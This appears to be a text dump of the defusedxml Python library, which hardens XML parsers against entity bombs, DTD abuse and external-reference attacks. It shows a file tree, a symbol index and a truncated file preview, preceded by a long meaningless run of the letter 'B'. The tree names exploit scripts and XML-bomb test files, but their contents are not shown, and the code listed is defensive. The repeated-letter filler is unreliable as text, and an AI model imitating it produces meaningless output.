BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Download .txt
gitextract_kp9kroi7/

├── .coveragerc
├── .github/
│   └── workflows/
│       ├── main.yml
│       └── pypi.yml
├── .gitignore
├── .hgignore
├── CHANGES.txt
├── LICENSE
├── MANIFEST.in
├── Makefile
├── README.md
├── README.txt
├── SECURITY.md
├── defusedxml/
│   ├── ElementTree.py
│   ├── __init__.py
│   ├── cElementTree.py
│   ├── common.py
│   ├── expatbuilder.py
│   ├── expatreader.py
│   ├── lxml.py
│   ├── minidom.py
│   ├── pulldom.py
│   ├── sax.py
│   └── xmlrpc.py
├── other/
│   ├── README.txt
│   ├── exploit_webdav.py
│   ├── exploit_xmlrpc.py
│   ├── perl.pl
│   ├── php.php
│   ├── python_external.py
│   ├── python_genshi.py
│   ├── ruby-hpricot.rb
│   ├── ruby-libxml.rb
│   └── ruby-rexml.rb
├── pyproject.toml
├── setup.cfg
├── setup.py
├── tests.py
├── tox.ini
├── void.css
└── xmltestdata/
    ├── cyclic.xml
    ├── dtd.xml
    ├── dtd_element.xml
    ├── external.xml
    ├── external_file.xml
    ├── quadratic.xml
    ├── schema-include.xsd
    ├── simple-ns.xml
    ├── simple.xml
    ├── xalan_exec.xsl
    ├── xalan_write.xsl
    ├── xmlbomb.xml
    └── xmlbomb2.xml
Download .txt
SYMBOL INDEX (163 symbols across 14 files)

FILE: defusedxml/ElementTree.py
  function _get_py3_cls (line 25) | def _get_py3_cls():
  class DefusedXMLParser (line 66) | class DefusedXMLParser(_XMLParser):
    method __init__ (line 67) | def __init__(
    method defused_start_doctype_decl (line 101) | def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_...
    method defused_entity_decl (line 104) | def defused_entity_decl(
    method defused_unparsed_entity_decl (line 109) | def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notat...
    method defused_external_entity_ref_handler (line 113) | def defused_external_entity_ref_handler(self, context, base, sysid, pu...
  function parse (line 122) | def parse(source, parser=None, forbid_dtd=False, forbid_entities=True, f...
  function iterparse (line 133) | def iterparse(
  function fromstring (line 151) | def fromstring(text, forbid_dtd=False, forbid_entities=True, forbid_exte...
  function fromstringlist (line 165) | def fromstringlist(sequence, forbid_dtd=False, forbid_entities=True, for...

FILE: defusedxml/__init__.py
  function defuse_stdlib (line 22) | def defuse_stdlib():

FILE: defusedxml/common.py
  class DefusedXmlException (line 18) | class DefusedXmlException(ValueError):
    method __repr__ (line 21) | def __repr__(self):
  class DTDForbidden (line 25) | class DTDForbidden(DefusedXmlException):
    method __init__ (line 28) | def __init__(self, name, sysid, pubid):
    method __str__ (line 34) | def __str__(self):
  class EntitiesForbidden (line 39) | class EntitiesForbidden(DefusedXmlException):
    method __init__ (line 42) | def __init__(self, name, value, base, sysid, pubid, notation_name):
    method __str__ (line 51) | def __str__(self):
  class ExternalReferenceForbidden (line 56) | class ExternalReferenceForbidden(DefusedXmlException):
    method __init__ (line 59) | def __init__(self, context, base, sysid, pubid):
    method __str__ (line 66) | def __str__(self):
  class NotSupportedError (line 71) | class NotSupportedError(DefusedXmlException):
  function _apply_defusing (line 75) | def _apply_defusing(defused_mod):

FILE: defusedxml/expatbuilder.py
  class DefusedExpatBuilder (line 18) | class DefusedExpatBuilder(_ExpatBuilder):
    method __init__ (line 21) | def __init__(
    method defused_start_doctype_decl (line 29) | def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_...
    method defused_entity_decl (line 32) | def defused_entity_decl(
    method defused_unparsed_entity_decl (line 37) | def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notat...
    method defused_external_entity_ref_handler (line 41) | def defused_external_entity_ref_handler(self, context, base, sysid, pu...
    method install (line 44) | def install(self, parser):
  class DefusedExpatBuilderNS (line 57) | class DefusedExpatBuilderNS(_Namespaces, DefusedExpatBuilder):
    method install (line 60) | def install(self, parser):
    method reset (line 65) | def reset(self):
  function parse (line 70) | def parse(file, namespaces=True, forbid_dtd=False, forbid_entities=True,...
  function parseString (line 94) | def parseString(

FILE: defusedxml/expatreader.py
  class DefusedExpatParser (line 17) | class DefusedExpatParser(_ExpatParser):
    method __init__ (line 20) | def __init__(
    method defused_start_doctype_decl (line 33) | def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_...
    method defused_entity_decl (line 36) | def defused_entity_decl(
    method defused_unparsed_entity_decl (line 41) | def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notat...
    method defused_external_entity_ref_handler (line 45) | def defused_external_entity_ref_handler(self, context, base, sysid, pu...
    method reset (line 48) | def reset(self):
  function create_parser (line 60) | def create_parser(*args, **kwargs):

FILE: defusedxml/lxml.py
  class RestrictedElement (line 33) | class RestrictedElement(_etree.ElementBase):
    method _filter (line 40) | def _filter(self, iterator):
    method __iter__ (line 47) | def __iter__(self):
    method iterchildren (line 51) | def iterchildren(self, tag=None, reversed=False):
    method iter (line 55) | def iter(self, tag=None, *tags):
    method iterdescendants (line 59) | def iterdescendants(self, tag=None, *tags):
    method itersiblings (line 63) | def itersiblings(self, tag=None, preceding=False):
    method getchildren (line 67) | def getchildren(self):
    method getiterator (line 71) | def getiterator(self, tag=None):
  class GlobalParserTLS (line 76) | class GlobalParserTLS(threading.local):
    method createDefaultParser (line 87) | def createDefaultParser(self):
    method setDefaultParser (line 95) | def setDefaultParser(self, parser):
    method getDefaultParser (line 98) | def getDefaultParser(self):
  function check_docinfo (line 110) | def check_docinfo(elementtree, forbid_dtd=False, forbid_entities=True):
  function parse (line 132) | def parse(source, parser=None, base_url=None, forbid_dtd=False, forbid_e...
  function fromstring (line 140) | def fromstring(text, parser=None, base_url=None, forbid_dtd=False, forbi...
  function iterparse (line 152) | def iterparse(*args, **kwargs):

FILE: defusedxml/minidom.py
  function parse (line 17) | def parse(
  function parseString (line 42) | def parseString(

FILE: defusedxml/pulldom.py
  function parse (line 17) | def parse(
  function parseString (line 33) | def parseString(

FILE: defusedxml/sax.py
  function parse (line 18) | def parse(
  function parseString (line 35) | def parseString(
  function make_parser (line 59) | def make_parser(parser_list=[]):

FILE: defusedxml/xmlrpc.py
  function defused_gzip_decode (line 36) | def defused_gzip_decode(data, limit=None):
  class DefusedGzipDecodedResponse (line 61) | class DefusedGzipDecodedResponse(gzip.GzipFile if gzip else object):
    method __init__ (line 66) | def __init__(self, response, limit=None):
    method read (line 83) | def read(self, n):
    method close (line 95) | def close(self):
  class DefusedExpatParser (line 100) | class DefusedExpatParser(ExpatParser):
    method __init__ (line 101) | def __init__(self, target, forbid_dtd=False, forbid_entities=True, for...
    method defused_start_doctype_decl (line 115) | def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_...
    method defused_entity_decl (line 118) | def defused_entity_decl(
    method defused_unparsed_entity_decl (line 123) | def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notat...
    method defused_external_entity_ref_handler (line 127) | def defused_external_entity_ref_handler(self, context, base, sysid, pu...
  function monkey_patch (line 131) | def monkey_patch():
  function unmonkey_patch (line 139) | def unmonkey_patch():

FILE: other/python_external.py
  class WeatherHandler (line 28) | class WeatherHandler(ContentHandler):
    method __init__ (line 29) | def __init__(self):
    method startElement (line 34) | def startElement(self, name, attrs):
    method endElement (line 39) | def endElement(self, name):
    method characters (line 43) | def characters(self, content):
  function weatherResponse (line 48) | def weatherResponse(xml):

FILE: other/ruby-libxml.rb
  class PostCallbacks (line 6) | class PostCallbacks
    method on_start_element (line 9) | def on_start_element(element, attributes)

FILE: setup.py
  class PyTest (line 11) | class PyTest(Command):
    method initialize_options (line 14) | def initialize_options(self):
    method finalize_options (line 17) | def finalize_options(self):
    method run (line 20) | def run(self):

FILE: tests.py
  class DefusedTestCase (line 66) | class DefusedTestCase(unittest.TestCase):
    method get_content (line 81) | def get_content(self, xmlfile):
  class BaseTests (line 88) | class BaseTests(DefusedTestCase):
    method test_simple_parse (line 96) | def test_simple_parse(self):
    method test_simple_parse_ns (line 102) | def test_simple_parse_ns(self):
    method test_entities_forbidden (line 108) | def test_entities_forbidden(self):
    method test_entity_cycle (line 126) | def test_entity_cycle(self):
    method test_dtd_forbidden (line 129) | def test_dtd_forbidden(self):
    method test_dtd_with_external_ref (line 154) | def test_dtd_with_external_ref(self):
    method test_external_ref (line 160) | def test_external_ref(self):
    method test_external_file_ref (line 165) | def test_external_file_ref(self):
    method test_allow_expansion (line 176) | def test_allow_expansion(self):
    method test_dtd_element (line 180) | def test_dtd_element(self):
  class TestDefusedElementTree (line 184) | class TestDefusedElementTree(BaseTests):
    method parse (line 192) | def parse(self, xmlfile, **kwargs):
    method parseString (line 196) | def parseString(self, xmlstring, **kwargs):
    method parseStringList (line 200) | def parseStringList(self, sequence, **kwargs):
    method iterparse (line 204) | def iterparse(self, source, **kwargs):
    method test_html_arg (line 207) | def test_html_arg(self):
    method test_aliases (line 215) | def test_aliases(self):
    method test_fromstringlist (line 221) | def test_fromstringlist(self):
    method test_import_order (line 227) | def test_import_order(self):
    method test_orig_parseerror (line 232) | def test_orig_parseerror(self):
    method test_etree_element (line 241) | def test_etree_element(self):
  class TestDefusedcElementTree (line 251) | class TestDefusedcElementTree(TestDefusedElementTree):
    method test_celementtree_warnings (line 254) | def test_celementtree_warnings(self):
  class TestDefusedMinidom (line 260) | class TestDefusedMinidom(BaseTests):
    method parse (line 267) | def parse(self, xmlfile, **kwargs):
    method parseString (line 271) | def parseString(self, xmlstring, **kwargs):
  class TestDefusedMinidomWithParser (line 276) | class TestDefusedMinidomWithParser(TestDefusedMinidom):
    method parse (line 280) | def parse(self, xmlfile, **kwargs):
    method parseString (line 284) | def parseString(self, xmlstring, **kwargs):
  class TestDefusedPulldom (line 291) | class TestDefusedPulldom(BaseTests):
    method parse (line 298) | def parse(self, xmlfile, **kwargs):
    method parseString (line 302) | def parseString(self, xmlstring, **kwargs):
  class TestDefusedSax (line 307) | class TestDefusedSax(BaseTests):
    method parse (line 315) | def parse(self, xmlfile, **kwargs):
    method parseString (line 321) | def parseString(self, xmlstring, **kwargs):
    method test_exceptions (line 327) | def test_exceptions(self):
  class TestDefusedLxml (line 351) | class TestDefusedLxml(BaseTests):
    method parse (line 358) | def parse(self, xmlfile, **kwargs):
    method parseString (line 365) | def parseString(self, xmlstring, **kwargs):
    method test_entities_forbidden (line 374) | def test_entities_forbidden(self):
    method test_dtd_with_external_ref (line 377) | def test_dtd_with_external_ref(self):
    method test_external_ref (line 380) | def test_external_ref(self):
    method test_external_file_ref (line 383) | def test_external_file_ref(self):
    method test_restricted_element1 (line 386) | def test_restricted_element1(self):
    method test_restricted_element2 (line 403) | def test_restricted_element2(self):
    method test_xpath_injection (line 428) | def test_xpath_injection(self):
    method test_lxml_warnings (line 450) | def test_lxml_warnings(self):
    method test_lxml_schema_include (line 455) | def test_lxml_schema_include(self):
  class XmlRpcTarget (line 472) | class XmlRpcTarget(object):
    method __init__ (line 473) | def __init__(self):
    method __str__ (line 476) | def __str__(self):
    method xml (line 479) | def xml(self, encoding, standalone):
    method start (line 482) | def start(self, tag, attrs):
    method data (line 485) | def data(self, text):
    method end (line 488) | def end(self, tag):
  class TestXmlRpc (line 492) | class TestXmlRpc(DefusedTestCase):
    method parse (line 495) | def parse(self, xmlfile, **kwargs):
    method parse_unpatched (line 503) | def parse_unpatched(self, xmlfile):
    method test_xmlrpc (line 511) | def test_xmlrpc(self):
    method test_monkeypatch (line 521) | def test_monkeypatch(self):
  class TestDefusedGzip (line 529) | class TestDefusedGzip(DefusedTestCase):
    method get_gzipped (line 530) | def get_gzipped(self, length):
    method decode_response (line 539) | def decode_response(self, response, limit=None, readlength=1024):
    method test_defused_gzip_decode (line 549) | def test_defused_gzip_decode(self):
    method test_defused_gzip_response (line 562) | def test_defused_gzip_response(self):
  function test_main (line 582) | def test_main():
Condensed preview — 52 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (253K chars).
[
  {
    "path": ".coveragerc",
    "chars": 141,
    "preview": "[run]\nbranch = True\nsource =\n    defusedxml/\n    tests.py\n\n[paths]\nsource =\n   defusedxml/\n   .tox/py*/lib/python*/site-"
  },
  {
    "path": ".github/workflows/main.yml",
    "chars": 1674,
